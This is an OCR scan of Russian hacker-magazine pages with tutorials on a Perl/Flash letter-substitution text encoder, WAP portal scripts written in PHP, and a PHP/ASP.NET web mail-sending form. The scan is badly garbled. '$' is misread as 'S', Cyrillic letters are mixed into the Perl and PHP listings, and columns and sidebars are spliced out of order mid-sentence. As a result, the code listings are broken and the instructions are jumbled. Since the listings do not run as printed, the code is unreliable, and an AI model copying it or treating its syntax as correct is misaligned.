if (‘Stable{substr(Stext,0,1)}){print 
substr($text,0,1); 

}else{@oth=split/ /Stable{substr(S$text,0,1)}: 
print Soth{rand(@oth)];} 
substr(Stext,0,1)="""}} 


Вид из фары 


Примерная таблица table.dat 
а 

ад 4 /-\ 

b 

bB8 |3 

с 

СС 


Таблица неполная, это только 
пример, как надо располагать 
данные. Сначала идет буква, по- 
том варианты через пробел, за- 
тем следующая. Вариантов мо- 
жет быть сколько угодно, могут 
быть одинаковые варианты на- 
писания разных букв. Те симво- 
лы, которые не будут найдены в 
таблице, остаются без измене- 
ния. Небольшой хелп по этой 
проге. В первых строчках то, что 
надо обязательно написать для 
перла и для П{т|-браузера. 3a- 
тем go close идет чтение табли- 
цы и расположение данных в па- 
мяти. Потом начинаем читать 
сам текст по строкам, обрабаты- 
ваем строку и читаем строку по 
буквам. Если буква не имеет па- 
ры, то выдаем как есть. Если 
имеет, то вытаскиваем из строки 
одно из значений, определяемое 
случайно. Все, удаляем обрабо- 
танную букву и повторяем все 
сначала. Если выложить эту про- 
гу вместе с html-em на сервак, то 


получится универсальный коди- 
ровщик, в зависимости от табли- 
цы можно будет кодировать в 
крякозяблики, в транслит или 
просто из одной кодировки в 
другую. Можно сделать таблицу 
со случайными значениями, и у 
нас получится асимметричный 
кодировщик, то есть закодиро- 
вать им можно, а декодировать 
нет. Можно поизвращаться и 
сделать 2 сервера, на одном бу- 
дет таблица для кодирования, а 
на другом для декодирования. 
Лучше всего сделать громкое 
имя типа decode.ru и повесить 
там баннер. Главное - всем рас- 
сказать, что там можно прочи- 
тать кривые письма, а потом 
останется только сливать пока- 
зы на раскрутку своей хомпаги 
или на продажу. Но все наши 
старания по кодированию важ- 
ной инфы пропадут, если злоб- 
ный админ в локалке включит 
сниффер. Он просто выловит 
оба варианта - и кодированный, 
и декодированный. Для лечения 
надо мутить клиентскую версию. 
Поскольку Рег у Hac не ставится 
вместе с виндой, а Си С++ ста- 
вит еще меньше народу, будем 
делать на массовость. То есть 
Flash. 


FLASH КЛИЕНТ 

Клиент He должен уступать сер- 
веру по возможностям, должен 
иметь возможность подгружать 
таблицы из сети, должен уметь 
кодировать все, что дадут, и т.д. 
Поскольку клиента мы делаем 
для борьбы со сниффером, бу- 
дем мутить нестандартную табли- 
цу. Для флеша самое простое 
решение - это запихать всю та- 
блицу в Action первого кадра му- 
вика и подгружать сам мувик ин- 
терактивно. Можно составить та- 
блицу в мувике из кусочков, тог- 
да, даже рассмотрев мувик, не 
будет понятно, что это за дан- 
ные. В примере прога подгружает 
мувик на место старого с именем 
“target”. 


| a _E EE ШЕЕ. 


Код мувика с таблицей 
table = "а*а А /-\\*b*b В 8*с*с C< ("; 


Код мувика декодера 
on (release) { 
oldchar = new array(); 
temp = new array(); 
oldchar = table.table.split("*"); 
for(i=0;i<Text.length;i++) { 
for(t=0;t<oldchar.length;t+=2) { 
if(oldchar[t] == Text.substr(i,1)) { 
temp = oldchar[t+1].split(" "); 
post = temp[ran- 
dom(temp.length)]; 
break; 
} else {post = Text.substr(i,1)};} 
Coded = Coded + post;}} 


Для работоспособности тебе 
необходимо создать в флеш- 
окошке текст с привязкой к пере- 
менной "text" и параметром input 
text, лучше нарисовать еще во- 
круг рамочку. И текстовое окош- 
ко с привязкой "coded", но пара- 
метрами Dynamic text, куда мы 
будем выдавать текст. Для удоб- 
ства пользования не забудь по- 
ставить флажок “Selectable”, 
иначе придется переписывать 
результат ручками. Ну и, конеч- 
но, необходима наша главная 
кнопка "Code It", на которую мы 
и повесим весь код декодера. Та- 
блица, как ты видишь, опять не 
полная. Меняться будут только 
буквы, которые занесены в та- 
блицу, все остальное перекочует 
без изменений. Формат таблицы: 
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ВЕБ-ТУЛЗЫ 


Если не 
хочешь, 
чтобы все 
читали то, что 
читаешь ты, 
кодируй это. 


раде CET 


"Буква*на_что_менять_мож- 
но_через_пробел*бу- 
ква*на_что_можно_менять". 
Если ты хочешь использовать 
символ * в своих кодировках, то 
можно заменить его в таблице 
на любой другой неиспользуе- 
мый. Главное, не забудь поме- 
нять его и в кодере. Помни, что 
когда ты хочешь написать сим- 
вол "\", то нужно заносить его в 
строку как "\\" - иначе у тебя не- 
избежно появятся глюки. 
Теперь о программе. Сначала 
реагируем на импульс... то есть 
на отпускание кнопки, и сразу 
создаем массив под наши та- 
блицы. Функцией split прога 
разделяет весь массив на ку- 


Таблица x4k3ga 
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языка, что не совсем подходит 
для нас. Мы будем кодить кирил- 
лицу. 

Для удобочитаемости советую 
при печати на принтере делать 
двойной межстрочный интервал. 
В противном случае ты ничего не 
прочитаешь, все слипнется. 

Есть несколько способов соз- 
дания таблицы, лично пользо- 
вал и расскажу о парольном и 
датированном кодировании. Па- 
рольное кодирование применя- 
ется часто - это когда ты вво- 
дишь пароль и видишь кашу. С 
другой стороны чел вводит па- 
роль и видит текст, который ты 
ему посылал. Датированное ко- 
дирование - это когда паролем 
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сочки из букв и вариантов 3a- 
мены. Затем бегунок по тексту 
и переборщик букв, который 
ищет, есть ли буковка, которую 
можно подменить. Если таковая 
есть, то в массив temp дробим 
наши варианты по пробельному 
разделителю и выбираем из 
этого массива случайный вари- 
ант. Если нет, то просто пере- 
писываем старое значение. В 
конце выводим результат поб- 
уквенно во второе окошко. Му- 
вик с таблицей можно Nogrpy- 
жать в самом начале, если ты 
используешь мувик из нес- 
кольких кадров. Можно сделать 
отдельные кнопочки с выбором 
таблиц и подгружать их по тре- 
бованию пользователя. В дан- 
ном примере подгружались 
только один мувик и только OG- 
на таблица, тебе никто не ме- 
шает загрузить сразу 10 таблиц 
и работать с ними, но это уве- 
личит трафоик и будет немно- 
го притормаживать у пользова- 
телей с медленным подключе- 
нием. 


H4x0r код 

Для всего этого тебе понадобит- 
ся таблица, в примерах был пе- 
ревод первых букв аглицкого 
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служит дата создания таблицы, 
2 применял для поздравления в 
нужный день :). Это немного бо- 
лее практично, поскольку даже 
настоящие шифроблокноты ис- 
пользовали эту схему. То есть 
чел принимал шифровку, от- 
крывал страничку с сегодняш- 


"Far + листинг” 


Perl. Интерактивное создание таблицы 
для кодирования 

#!/usr/bin/per| 

use CGI qw(param); 

$mday = рагат("Чау”); 

$mon = рагат("“ топ”); 

Syear= param("year”); 
srand(S$mday*$mon*Syear); 
$symb="abcdefghijkimnoparstuvwxyz"; 
while(Ssymb){do{ 

$s = rand(36) + 33;} while (Stemp{$s}); 
Stemp{substr(Ssymb,0,1)."\n"} = chr($s)."\n"; 
substr($symb,0,1)="""} 

Y%table=reverse Ytemp; 

open OUT,">table.dat”: 

print OUT %table; 

close OUT; 


Это прога для создания коди- 
рующей таблицы, при запуске ей 
необходимо передать день, месяц 
и год, которые будут в момент ра- 
скодирования. Не забывай, что 
день и месяц считаются от нуля, 
а год - с 1900. В этой программе 
все так же, как и в проге для де- 
кода. Изменено только начало, 
дата не берется из системы и пе- 
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ним числом, читал и мог смело 
выкидывать эту страничку. 
Больше одного раза пароль не 
использовался. Кроме того, да- 
же если подобрать пароль к 
первому сообщению, то он не 
сработает на втором. Но самое 
интересное - это пароль, где 
есть и дата, и число, с шифра- 
торами на разных серверах. Мо- 
жешь даже завещание потом- 
кам оставить, и когда наступит 
3000 год, они смогут его прочи- 
тать. Правда, найдется пара 
перцев, которые прочтут все 
намного раньше :). Кодирова- 
ние по дате выглядит достаточ- 
но интересно, текст есть, сайт 
есть, а декодировать не получа- 
ется. А все потому, что чувак, 
которому этот текст предназна- 
чен, прилетит только через не- 
делю и, зайдя на сайт, без про- 
блем все прочтет. 


редается вручную. И маленький 
оператор reverse меняет местами 
буквы и значения, это и опреде- 
ляет кодирующую таблицу или 
декодирующую. 


Perl. Интерактивное создание таблицы 

для декодирования 

#!/usr/bin/per| 
(Ssec,Smin,Shour,Smday,Smon, 
Syear,Swday,Syday,Sisdst) = localtime(time); 
srand($mday*Smon*$year); 
$symb="abcdefghijkimnoparstuvwxyz"; 
while(Ssymb){dof 

$s = rand(36) + 33;} while (Stable{$s}); 
Stable{substr(Ssymb,0,1)."\n"} = chr(Ss)."\n"; 
substr(Ssymb,0,1)="""} 

open OUT,">table.dat”: 

print OUT %table; 

close OUT; 


Ну, тут все просто. Берем дату, 
конкретно день, месяц и год, все 
это запихиваем в переменную 


Руглиш в общем виде 
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начала отсчета для случайного 
числа. В переменную symb поме- 
щаем все символы, которые надо 
кодировать. Составляем таблу и 
пишем ее в файлец table.dat. 
Вот, собственно, и вся прога. Ее 
надо запускать из программы ко- 
дировщика, перед тем как коди- 
ровать. Для использования па- 
роля вместе с датой можно сде- 
лать как положено, то есть обра- 
ботать пароль и, получив цифро- 
вое значение, запихать его в тот 
же Srand. Но можно пойти и не- 
стандартным путем, достаточно 
добавить наш пароль в начало 
переменной Ssymb, и это спутает 
все карты при декоде, хотя на Ka- 
честве и скорости практически 
не отразится. Более того, при пу- 
стом пароле все должно рабо- 
тать только по дате, а не вывали- 
ваться с ошибкой в письмо адбми- 
ну сервера. К сожалению, Flash и 
Perl имеют разную основу для 
генерации случайного числа, по- 
этому если ты закодируешь 
письмецо на серваке, то никаки- 
ми Flash клиентами ты его не от- 
кроешь. Так что для суперсе- 
кретного декода придется поста- 
вить себе перла. 


УТИЛИТАРЩИНА 

Все это, конечно, хорошо, вся- 
кие пароли, шифровки и прочее. 
Но если тебе нужны просто по- 
казы баннеров на твоей паге и 
ты не хочешь организовывать 
клуб "юного Штирлица”, то надо 
сделать массово-необходимую 
вещь. Для этого мы будим ко- 


наиболее умную таблицу KOI, ко- 
торая при срезании старшего 
бита кода (признака русифика- 
ции) по-прежнему оставалась 
читабельной в виде транслита. 
Но запад не мог спокойно смо- 
треть на эти мучения, и между- 
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справляются с автоопределени- 
ем кодировки. 


Но те, кто пользуют Netscape, 
очень часто задумываются, како- 
го черта есть смена кодировки в 
меню, если она не меняется? Для 
них мы и будем делать пагу с 
универсальным транслитом. Де- 
ло простое, нужно создать нес- 
колько таблиц - win-koi, koi-win и 
т.д. Главное тут - не забыть про 
двойной баг, это когда письмо на- 
писано на koi, а почтовик решил, 
что это Win, и перекодировал ero 
еще раз в koi. Таким образом по- 
лучается письмо в несуществую- 
щей кодировке. Можно, конечно, 
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Крякозяблики 


народный институт стандартиза- 
ции создал ISO, чуть позже мно- 
гопосылаемый Билли со своими 
мягкими друзьями придумал ко- 
дировку WIN. Короче, бардак ga 
и только, но Билли был парень 

смышленый, поэтому чуть рань- 
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дить и декодить наш великий и 
могучий. Вся проблема зоны ги в 
том, что когда появились ком- 
пьютеры, появилось и желание 
писать в программах русскими 
буквами. Так вот, желание по- 
явилось, а шрифта и кодировки 
нет. Тогда все начали пользо- 
вать транслит или ранглиш. Поз- 
же народные умельцы сделали 


ше он придумал еще и DOS ко- 
дировку, типа у меня две, значит 
я круче. Как видишь, все, кому 
не лень, клепали эти кодировки 
налево и направо. И по сей день, 
если тебе пришло письмо на 
русском, - его очень редко мож- 
но прочитать не задумываясь. 
Благо есть ВАТ и ему подобные 
проги, которые мало-мальски 


два раза нажать кнопочку "аесо- 
de", а можно сделать таблицу koi- 
koi-win и win-win-koi. 


В общем, Kak сказал Морфей, "я 
обещал лишь показать тебе 
дверь...". Дальше решать тебе: 
или ты веришь, что к тебе пойдет 
народ и хочешь показы банне- 
ров, или ты не веришь :). Все эти 
кодировки, разумеется, уступают 
по надежности РСР и им подоб- 
ным приблудам. Все, что надо для 
взлома такого способа кодирова- 
ния, - это лишь посидеть и посмо- 
треть на текст. Одиночные буквы 
вроде "a", "я" ломаются просто 
на ура. Дальше все еще проще. 
Главное помни, если ты закоди- 
руешь действительно важную ин- 
формацию, которая будет очень 
нужна некоторым ребятам, ты сам 
скажешь им пароль. Более того, 
ты будешь его очень качествен- 
но вспоминать и неизмеримо рад 
сообщить его как есть. 
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Как ты, мо- 
жет быть, go- 
гадался, здесь 

тоже не все 

бывает чисто 


1ЧЕНХ1-Я3а 


ВЕБ-ТУЛЗЫ 


Цель данной 
статьи - НА- 
УЧИТЬ тебя 
кодить под 
WAP в корот- 
кие сроки ив 
рамках одной 
статьи. 


page СЕР 


ManderX (forother@fromru.com) 


ДИНАМИЧЕСКИЙ WAP! 


WAP-ENGINES 


Мы уже рассказывали тебе про To, как замутить мегадинамическую nary aka пагу- 
робот, ты уже знаешь и asp, и пхп, и перл (не cnopb!, так должно быть по сценарию =); 


поэтому сегодня мы сделаем еще один шаг навстречу автоматизации - попробуем 
замутить пагу-робот в WAP. 


о-первых, цель дан- 
ной статьи - не по- 
казать тебе, какие 
крутые скрипты на просторах 
инета я нашел, а НАУЧИТЬ тебя 
кодить под WAP (хотя и первое 
тоже =). Допустим, у тебя есть 
сайт с лентой новостей. Теперь 
представь, что ты едешь в ме- 
тро, видишь красивую тетку и 
тут же добавляешь на сайт но- 
вость про нее (к примеру, просто 
добавляя запись в БД). Круто? 
При определенных знаниях php 
и wml ты без проблем сможешь 
решить эту задачу. Но многие 
уже порешали ее, надо только 
посмотреть решение :), что мы и 
сделаем. 


PLAYGROUND 

Все М!АР-паги пишутся на wml, 
точнее писаться они могут хоть 
на пхп, хоть Ha perl, да и Ha asp 
тоже, HO WAP-6pay3ep понимают 
только wml. Сейчас просто мо- 
дно писать динамические стра- 
ницы, так как это экономит уйму 
времени! В статье будут описаны 
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It works!!! 


скрипты на трех вышеперечи- 
сленных языках, но их объединя- 
ет одно - все скрипты должны 
послать заголовок "Content-ty- 
ре: text/vnd.WAP.wml", a Apache, 
в свою очередь, должен понять 
его. Для расширений знаний 
апача добавляем эти строки в 
httpd.conf: 


AddType text/vnd.WAP.wml .wm| 

AddType image/vnd.WAP.wbmp .wbmp 
AddType application/vnd.WAP.wmlc .wmlc 
AddType text/vnd.WAP.wmlscript .wmls 
AddType application/vnd.WAP.wmlscriptc 
.wmlsc 


И подредактируй директиву 
"DirectorylIndex", добавив еще 
index.wml. 

Теперь мы находимся в полной 
боевой готовности! Простейший 
М/МЕ-скрипт приведен на листин- 
ге. Тебе тут должно быть все по- 
нятно, кроме тэга <card>. По- 
ясняю: экранчики мобилы сов- 
сем не 15-дюймовые и вместить 
кучу текста не смогут, поэтому 
придумали карды, делящие стра- 
ницу на несколько частей. По- 
пробуй этот скрипт у себя на ло- 
калхосте, и все станет ясно. 


ey ро 
eine om i. ines “т 


i” i ee 


Кстати, опробовать этот скрипт 
ты можешь с помощью \\!АР-эму- 
лятора, например Deck-It 
(pyweb.com). Но займемся непо- 
средственно готовыми решения- 
ми и движками. 


<?xml version="1.0"?> 

<IDOCTYPE wml PUBLIC "-//WAPFORUM//DTD 
WML 1.1//EN" 

“http://www.WAPfo- 
rum.org/DTD/wml_1.1.xml"> 

<wml> 

<card id="card1” title="Simple WAP Page"> 
<p>WAP Testings/p> 

<p><a href="#card2">Link2Second Page 
(card)</a></p> 

</card> 

<card id="card2” title="Second WAP pa- 
ge=)"> 

<p>it works!!!</p> 

<p><a href="#card1">Back</a></p> 

</card> 

</wmb> 


IPAN-WML 

Бесплатный скрипт Ha PHP gna 
создания WAP-noptana. Большое 
количество функций: новости, 
статьи, e-mail менеджер, поиско- 
вый модуль, каталогизатор лин- 
ков, почтовая рассылка и многое 


Ipan-wml статьи 


другое. Существует также очень 
удобная страничка администра- 
тора. Правда, есть одно но, и это 
"HO" - испанский язык =). Слить 
можешь тут - http://script.emanu- 
al.ru/?a=21&i=41, движок исполь- 
зует MySQL, поэтому после рас- 
паковки надо отредактировать 
файл - configuracion.inc.php, a 
именно: 


Sbdhost="localhost”; 
НХост 
Sbdusuario="root”; 
логин 

Sbdpass=""; 

Пасс 
Sbdnombre="Ipan"; 
НИмя БД. 
Sbdtipo=MYSQL; 
#Tun ДБ. 


A испанский не так уж и отли- 
чается от русского, я про "Sbdti- 
ро" =). Но это не все, надо еще 
заполнить эту базу. Вот ты ни- 
когда не догадаешься, где нахо- 
дятся .sql-bl =) - в ./admon/tab- 
[а5... Теперь можно пускать, но 
вот дальше проблема - сидеть с 


WAP-portal 
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испанским словарем мне как-то 
расхотелось... хотя скрипты 
очень хорошие, проблем при ин- 
терпретации не было. Опять-та- 
ки кое-где понятно... 


WAP-PORTAL 

Помнишь, я тебе рассказывал 
про Phpnuke? Во-во, сейчас 
вспомнишь =). WAP-portal (ори- 
гинальное название) основан 
на Phpnuke (кстати, вышла 6.5 
версия =) и может использо- 
вать таблицы своего большого 
брата (вспомни то, о чем я гово- 
рил выше), слить его можешь 
тут - http://script.emanu- 
al.ru/get?i=43, кстати, он Ha ан- 
глийском =). Функции у него 
приблизительно такие же, как и 
у Ipan-wml, есть еще чат. Уста- 
новка обычная - распаковыва- 
ешь куда надо, создаешь БД и 
заполняешь ее, используя WAP 
portal 0.1\jaffamonkey_WAP_por- 
tal\sql\tables_sql.txt. Теперь no- 
неслась душа родимая! Если ты 


MyNews, password entering 


читал мою статью про пхп-нюк, 
думаю разберешься, мне лично 
скрипты понравились! 


MYNEWS 

Простой скрипт для публикации 
новостей на сайте с использова- 
нием WAP технологий. Тут все 
просто, после распаковки файлы 
для вап лежат в дире WAP, no3- 
TOMY и натравлять браузер надо 
именно туда :). Там ты сразу нар- 
вешься Ha index.php, он сделает 
редирект Ha index.wml, а там уже 
можно выбирать действия и пе- 
редавать параметр detail.php =). 
Тоже ниче. 


WAPPOP & GETMAIL 

Больше всего скриптов gna WAP 
я находил именно для проверки 
почты =(. Сейчас расскажу о 


GetMail 


двух таких особях, один Ha Реп, 
другой на Php. Сначала о том, 
который на Рег! - GetMail. 

GetMail можешь слить отсюда - 
http://www.stv.ee/~kunashir/wap 
getmail.zip, написан OH Ha Perl 
(хоть один!), поэтому Cgi надо 
помещать в Cgi-bin, а мт! в 
www. В getmailwp.cgi надо бы 
установить следующие перемен- 
ные: 


my SloginDir="/home/httpd/temp/"; 

#IlyTb gO диры с временными файлами. 
my SbaseUrl="http://your.domain.com/get- 
mail.wml": 

#URL go getmail.wml 


Хочу напомнить, что BO вре- 
менной дире файлы больше 10 
дней не хранятся. 


WAPPOP написан уже на PHP, 
плюс он требует MySQL. Качаем 
тут - http://www.sani- 
soft.com/WAPpop/, при установ- 
ке надо отредактировать .htac- 
cess файл в соответствии с тво- 
ей конфигурацией. Также надо 
отредактировать \lib\WAPlo- 
cal.inc u WAPpop.inc, ибо это не 
что иное, как файлы конфигура- 
ЦИИ. 


FINISH 

Почему я не стал рассматривать 
другие скрипты? Тут есть две 
причины: 

1. Чаще всего скрипты связаны 
с проверкой почты (выше я опи- 
сал два). 

2. Их просто не так много, как 
скриптов для обычной паги. 

Но все же мы упустили АЗР, 
каюсь, скрипты Ha ASP тоже су- 
ществуют. На вот этом сайте 
А$Р-маньяков 
http://aspfree.com/authors/micha 
elw/freeaspandWAPhosts.asp 
(ссылочка ведет к описанию за- 
бугорных free WAP-xocTUHroB) в 
разделе Demos можешь найти 
описание (подчеркиваю - полное 
(!) описание, правда на инглише 
=) азр-скриптов под WAP. Же- 
лаю тебе удачи и купи наконец 
телефон с GPRS =). 
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Все еще He 
верите в мо- 
бильность? 
Тогда мы ле- 
тим к вам (с) 
С. Bush Jr. 


ISELIAL-938 


ВЕБ-ТУЛЗЫ 


ны к регистру 


Все ХМЕ-теги 
чувствитель- 
символов. 


ASP со вто- 
рого запуска 
начинает 
рвать так, 
что никакой 
РНР и рядом 
не стоял! 


Владимир Егоров aka Ог.МЕТ 
(vme@front.ru) & ilich 
(ilich@atrus.ru) 


MAIL SENDER 


ПОШЛИ ПО МЫЛУ 


Мы тут посмотрели на тебя всей командой, оценили то, что ты творишь, и пришли к 
совокупному мнению, что ты серьезный чувак, так как хочешь сделать в нете что-то 
полезное. А посему решили тебе помочь. Знаешь, достаточно часто меня очень 


напрягает необходимость пользоваться некоторыми моими мыльниками лишь только 
через проги а-ля "The Bat!", "М$ Outlook” и тому подобным. 


очется стать в неко- 
торой степени неза- 
висимым от набора 
софта на тачке. Хочется иметь 
все и вся через меб-интерфейс! 
У тебя, я полагаю, те же спазмы. 


РНР В ОБЩИХ ЧЕРТАХ 

Ты наверняка заметил, что когда 
ты регишь доменное имя второго 
уровня, тебе дают, в зависимости 
от размера твоих ягод... твоего 
кошелька, один или не один 
мыльник. Такие мыла хороши 
своим именем, но не особо хоро- 
ши в плане легкости использова- 
ния. Видишь ли, не все умные и 
волосатые дядьки, творившие 
сии сервисы, такие умные и воло- 
сатые. Некоторые из них залома- 
лись (или силенок не хватило :)) 
сделать удобный доступ через 
миеб-интерфейс к мылам раздава- 
емых доменов. Короче говоря, 
программа на сегодня - позво- 
лить себе (подразумеваем: тебе) 
слать много-много писем, не отхо- 
дя от осла IE и его компании. 

Замечу, чтоб данная байда фун- 
циклировала корректно, надо на- 
правлять процесс ее деятельно- 
сти на тех самых волосатых дя- 
дек, ведь только у них есть нуж- 
ные нам почтовые сервера (точ- 
нее нам нужен только один из 
них - SMTP). К тому же нам, в 
принципе, по фигу, дадут тебе 
мыло или нет, ибо наличие дан- 
ных серверов является для нас 
единственно приоритетным. 

Для начала создадим хтмльку, а 
в ней форму, в которую будут 
вводиться тема сообщения, его 
текст и адрес получателя. Для 
этого в файле mail.html напиши 
(после <body>): 
<form name="frm" action="mail_send.php” 
method="post"> 

Выражение "mail_send.php” - это 
имя файла со сценарием, KOTO- 
рый будет вызываться при нажа- 
тии кнопки "отослать". Для того 
чтобы форма выглядела более 
симпатично, настоятельно реко- 
мендую оформить ее в виде та- 
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Это и трехлетние дети знают! 


блицы. Также нам нужны два OG- 
нострочных текстовых поля для 
адреса и темы и одно многостроч- 
ное для текста сообщения. Обя- 
зательно укажи для каждого по- 
ля имя (атрибут "пате”). В конце 
добавь две кнопки: для отправки 
сообщения и для очистки формы 
(<input туре="зибтй"> и <input ty- 
pe="reset”> соответственно). Hy 
вот, собственно, форма и готова. 
Теперь напишем сценарий, кото- 
рый будет все это отправлять ад- 
ресату. Сценарий будет на РНР, 
хочешь ты этого или нет. Итак, 
начинаем. Сначала создай файл 
mail_send.php, в нем напиши 
стандартное начало НТМЁ-файла. 


<html> 

<head> 

<titleyPHP Mail Sender</title> 

<meta http-equiv="Content-Type” con- 
tent="text/html; charset=Windows-1251"> 
</head> 

<body> 

<?php 

Srcptto = SHTTP_POST_VARS['rcptto’]; 
if (Srcptto=="") 

{ 


print "<В4>Необходимо ввести получателя 
сообщения!</й4>"; 
print "а href=\"javascript:history.back(1); 


\>8lt&lt;Hasag</a>”; 

} elseif (preg_match("/\w+([-+.]\w+)*@\w-([- 
J\w+)*\\w+([-\w+)*/"Srcptto)) { 

Ssubj = SHTTP_POST_VARS[‘subject’]; 

Stext = SHTTP_POST_VARS['text’]; 

if (mail(Srcptto,Ssubj,Stext)) 

{ 

print "<14>Сообщение отослано</В4>"; 

} ее { 

print "<В4>Произошла own6kas/h4>"; 


} else { 

print "<h4>BBegeHHbIit текст не является 
адресом электронной почты. "; 
print "Пример адреса: <code> 
me@myhost.ru</code>.</h4>": 
print “<a href=\"javascripthisto- 
ry.back(1);\">&lt;&lt;Hasags/a>"; 

} 

?> 

</body> 

</html> 


После тега <body> пишем сам код 
сценария. Все данные, передавае- 
мые нашей формой, содержатся в 
коллекции SHTTP_POST_VARS, 
где в квадратных скобках указы- 
вается имя передаваемой пере- 
менной (в точности то, что было 
записано в атрибуте “name” по- 
ля). Первым делом надо прове- 
рить отправителя на трезвость, то 
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У нас слова с делом не расходятся... 


бишь определить, корректно ли 
он ввел адрес получателя и не 
забыл ли он вообще это сделать. 
Для этого сначала смотрим, вве- 
дено пи хоть что-нибудь в каче- 
стве адреса, т.е. сравним пере- 
менную Srcptto с пустой строкой. 
Если ничего не введено, то руга- 
емся и посылаем посетителя стра- 
ницы на... предыдущую пагу. Если 
что-то все-таки введено, то надо 
проверить, похоже ли это на е- 
тай. Мы же люди серьезные, а 
серьезным людям не к лицу оста- 
влять это без контроля. 


КОНКРЕТНО ОБ ОБЩЕМ 

Проще и быстрее всего это сде- 
лать с помощью регулярных вы- 
ражений. Регулярные выражения 
- это такие строки-шаблоны, с по- 
мощью которых можно, напри- 
мер, проверить, удовлетворяет 
ли строка каким-нибудь требова- 
ниям. По регулярным выраже- 
ниям написаны тучи мануалов и 
книг, поэтому я не буду подробно 
задерживаться на их описании, а 
лишь вкратце объясню принцип 
на примере адреса электронной 
почты. Итак, строка е-та!’а дол- 
жна быть построена с учетом 
следующих требований: а) дол- 
жен присутствовать знак @; 6) 
слева от знака @ должно стоять 
как минимум одно слово или нес- 
колько слов, разделенных точкой 
или дефисом; в) справа от знака 
@ должны стоять как минимум 
два слова, разделенные точкой. 
Все эти условия определяет сле- 
дующее регулярное выражение: 
/\w+([-+.]\w+)*@\w4([- 
J\wt)*\.\w+([-.]\w+)*/. И нечего 
мне тут улыбаться! Лучше слухай 
мануал по данной строке. Отдель- 
ный ахтунг тому, что регулярное 
выражение записано межоду / и /. 
Запись \w+ соответствует одному 
или более слову. Круглые скобки 
выделяют отдельные подшабло- 
ны. Звездочка * после подшабло- 
на обозначает, что в проверя- 
емой строке данный подшаблон 
может встретиться сколько угод- 
но раз. В том числе и ни одного. 
После того как написали регуляр- 
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ное выражение, его надо исполь- 
зовать по назначению :). Для 
этого в РНР существует спе- 
циальная функция 
preg_match(string pattern, string 
subject [, array matches]). B npo- 
стейшем случае у нее два пара- 
метра: pattern и subject. Pattern - 
это, собственно, наше регуляр- 
ное выражение, а Subject - тести- 
руемая на соответствие строка. 


РТИ т развит + 


dt фегобая 


945 3003 
975 9529 


Функция возвращает true, если 
subject соответствует регулярному 
выражению, и falSe - в противном 
случае. Теперь понятно, что нам 
делать - после проверки на пусто- 
ту Srcptto сразу же проверяем ис- 
тинность preg_match("/\w+([- 
+.]\w+)*@\w+([-.]\w+)*\.\w+([- 
.)\w+)*/", Srcptto). Если все OK, то 
двигаем дальше, если нет - пишем 
отмазу и учим посетителя пра- 
ВИЛЬНО ЖИТЬ. 


ПОСЫЛАЕМ В... 

Двигать дальше значит (нако- 
нец-то!) послать наше (нет, все- 
таки чужое) сообщение. Для это- 
го в РНР существует целая функ- 
ция mail(string to, string subject, 
string message [, string headers, 
[string parameters]]). Нам с тобой 
будут нужны только первые три 
параметра. Первый (to) - это ag- 
ресат письма, второй (subject) - 
тема письма, ну и третий (messa- 
ge) - сам текст письма. В качестве 
первого параметра используем 
Srcptto, а второй и третий берем 
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Программа Ha 
сегодня - no- 
зволить себе 

(подразуме- 

ваем: тебе) 
слать много- 
много писем. 


1ЧЕНХ1-Я3а 


ВЕБ-ТУЛЗЫ 


Не все умные 
и волосатые 
дядьки, тво- 
рившие сии 
сервисы, та- 
кие умные и 
волосатые. 


Для всех сер- 
верных тегов 
ASP.NET на- 

go указывать 
параметр Ru- 
nat="server”. 


page CE 


Е: ar? ey 
Уж послали, так послали... 


из SHTTP_POST_VARS[‘subject'] и 
SHTTP_POST_VARS[‘text']. Ты мо- 
жешь спросить: "А от кого будут 
приходить все эти письма, то 
есть чей адрес будет написан в 
поле from при получении?” От- 
вет такой: отправитель для функ- 
ции mail задается либо параме- 
тром “sendmail_from” в файле 
php.ini (под WinXXX он обычно 
лежит в %SystemRoot% - корне- 
вом каталоге системы), либо в пе- 
ременной “headers” в формате 
"From: me@myhost.com”. 
Функция mail возвращает true, 
если при отправке не возникло 
проблем (по крайней мере с по- 
становкой сообщения в очередь 
на отправку), иначе она возвра- 
щает, как нетрудно догадаться, 
false. Поэтому в случае успешно- 
го посыла (тай(...) == true) пи- 
шем, что все ОК, иначе выдаем 
сообщение об ошибке. Ну вот и 
все с РНР-версией, правда, сразу 
оговорюсь, что все это сработает 
только в том случае, если на хос- 
те, где это все будет размещать- 
ся, будет корректно работать 
SMTP-cepBep, а если это не так, 
то не обессудь. Открою тебе 
свою страшную тайну, что я... нет, 
не то, что ты подумал, но тоже 
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многим не нравится :). Я уже дол- 
гое время являюсь осторожным 
сторонником продуктов Microsoft 
(осторожным, дабы не получить 
увечья от злобных противников 
этой самой Microsoft :))). Кстати, 
мне кажется, Microsoft - женского 
рода... Что-то я отвлекся... 


ВЕЛИКИЙ ASP.NET 

Ну что ж. С РНР разобрались. Ну 
дык раз взялись тебе помогать, 
то поможем тебе с нескольких 
сторон. Теперь я для сравнения 
покажу, как сделать то же самое 
с помощью очень модной в по- 
следнее время технологии 
ASP.NET (еще ее называют 
ASP+). Она кардинально отлича- 
ется от старой технологии ASP 
как в плане программирования, 
так и в плане быстродействия. Я 
постараюсь показать хотя бы на 
нашем, все-таки достаточно при- 
митивном, примере, насколько 
проще и быстрее создавать дина- 
мические страницы Ha ASP.NET, 
чем на РНР (кто останется не со- 
гласен - пишите, буду отбиваться 
и бить самостоятельно). Правда, 
чтобы постичь все прелести 
АЗР.МЕТ, тебе придется закачать 
с сайта Microsoft такую штучку, 
как Microsoft.NET Framework 
(естественно, все это имеет 
смысл только для Windows :), при- 
чем у тебя должен быть устано- 
влен Internet Information Server - 
в Win2000/NT его можно поста- 
вить в любой момент с устано- 
вочного диска Windows). Кроме 
того, Microsoft.NET Framework 
также можно достать на диске с 
Microsoft Visual Studio.NET на 
Горбушке (не мне тебя уму разу- 
му учить! :)). Да, к тому же для 
того, чтобы разместить свою 
А$Р.МЕТ-страницу в Интернете, 
тебе придется найти хостинг с 


Прога для настоящих чилийских перцев! 
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поддержкой именно .NET. Возра- 
дуйся, ибо таковых gO попы даже 
в ру-нете. 

Приступаем, к кодированию. 
Сначала создай файл с именем, 
например, mailsend.aspx. 

Обрати внимание на расшире- 
ние *.азрх, ибо ошибка хотя бы 
на один символ в расширении 
приводит к немедленному краху 
сервака и всего Инета :). 


А$Р-ШКА 

Глядя на код в листинге, слушай 
внимательно. Я объясню, что все 
это означает. Первая строка 
<%@Ilmport Namespace="Sy- 
stem.Web.Mail"%> указывает KOM- 
пилятору, что должно быть UM- 
